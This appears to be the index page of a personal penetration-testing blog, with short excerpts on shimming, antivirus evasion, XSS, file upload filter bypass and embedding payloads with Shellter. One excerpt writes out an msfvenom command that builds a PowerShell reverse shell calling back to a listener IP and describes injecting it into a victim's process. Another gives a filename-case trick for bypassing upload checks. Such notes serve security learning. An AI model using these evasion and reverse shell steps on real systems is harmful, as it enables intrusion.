akde/infosec

Click Here

  • Shimming (Application Compatibility Framework)

    The Win­dows Appli­ca­tion Com­pat­i­bil­i­ty Frame­work (shim­ming) pro­vides a way to change the sys­tem behav­iour for an appli­ca­tion in order to func­tion like in old­er sys­tems. It works via the IAT Import address Table at load time and can change func­tions, library address­es etc. this way. Creating a shim A shim can be reg­is­tered with the sys­tem via…

  • Antivirus evasion techniques

    Short sum­ma­ry of techniques: Example of a manual In-memory injection Cre­ate a reverse shell pay­load for PowerShell: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.211 LPORT=443 -f powershell -v sc Use this Pow­er­Shell script, which injects the shell­code into the own (Pow­er­Shell) process and exe­cutes it in a new thread: Start a lis­ten­er and exe­cute it in the vic­tim’s…

  • XSS Cross-site-scripting attacks

    Short: A user opens a link (e.g. from a phish­ing email) which has a injec­tion in the URL which is then exe­cut­ed on the site as long as the user is logged in. See also com­mand injec­tions post. Class­es: Tip:

  • File upload checklist

    (!) If upload does not seem to work, change the suf­fix e.g. from .php to .pHp. More: File uploads / images

  • Shellter: Adding payloads in executeables

    Shell­ter kann add a reverse shell pay­load into a exe file.